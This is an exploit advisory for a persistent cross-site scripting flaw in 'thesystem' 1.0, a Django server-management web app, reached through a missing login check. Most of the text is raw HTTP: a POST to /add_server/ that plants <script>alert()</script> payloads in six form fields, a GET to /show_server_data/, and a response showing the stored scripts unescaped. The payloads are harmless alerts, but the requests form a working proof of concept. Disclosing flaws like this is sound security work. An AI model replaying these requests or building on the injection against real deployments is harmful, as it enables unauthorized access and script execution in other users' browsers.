# Exploit Title: thesystem Persistent XSS
# Author: Anıl Baran Yelken
# Discovery Date: 2019-09-28
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem
# Software Link: https://github.com/kostasmitroglou/thesystem
# Tested Version: 1.0
# Tested on OS: Windows 10
# CVE: N/A
# Type: Webapps
# Description:
# Persistent XSS after login bypass(login_required didn't used)
First of all, I send a request add_server
POST /add_server/ HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------3902153292
Content-Length: 1205
Connection: close
Referer: http://127.0.0.1:8000/add_server/
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567905900.1569231977; _gid=GA1.1.882048829.1569577719
Upgrade-Insecure-Requests: 1
-----------------------------3902153292
Content-Disposition: form-data; name="csrfmiddlewaretoken"
S5HLlkGrTnGH2FHIP4ry58Mw8Rw9KiPF3j6wIQ5tQvzMLmZTLAayAVs4Htg6OCRn
-----------------------------3902153292
Content-Disposition: form-data; name="operating_system"
<script>alert("kale1")</script>
-----------------------------3902153292
Content-Disposition: form-data; name="ip_address"
127.0.0.1
-----------------------------3902153292
Content-Disposition: form-data; name="system_port"
22
-----------------------------3902153292
Content-Disposition: form-data; name="system_owner"
<script>alert("kale2")</script>
-----------------------------3902153292
Content-Disposition: form-data; name="system_username"
<script>alert("kale3")</script>
-----------------------------3902153292
Content-Disposition: form-data; name="system_password"
<script>alert("kale4")</script>
-----------------------------3902153292
Content-Disposition: form-data; name="system_description"
<script>alert("kale5")</script>
-----------------------------3902153292
Content-Disposition: form-data; name="server_name"
<script>alert("kale6")</script>
-----------------------------3902153292--
After I send a request show_server_data
GET /show_server_data/ HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:8000/data/
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567905900.1569231977
Upgrade-Insecure-Requests: 1
And I showed persistent XSS:
HTTP/1.1 200 OK
Date: Sat, 28 Sep 2019 09:51:04 GMT
Server: WSGIServer/0.2 CPython/3.5.3
Content-Length: 437
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
(23, 'test', '192.168.1.4', '22', 'test@test', 'root', '1234', 'test', 'test', '2019-09-26')(24, '<h1>Unix', '192.168.1.5', '22', 'test@test', 'root', '1234', 'test2', 'test2', '2019-09-26')(25, '<script>alert("kale1")</script>', '127.0.0.1', '22', '<script>alert("kale2")</script>', '<script>alert("kale3")</script>', '<script>alert("kale4")</script>', '<script>alert("kale5")</script>', '<script>alert("kale6")</script>', '2019-09-28')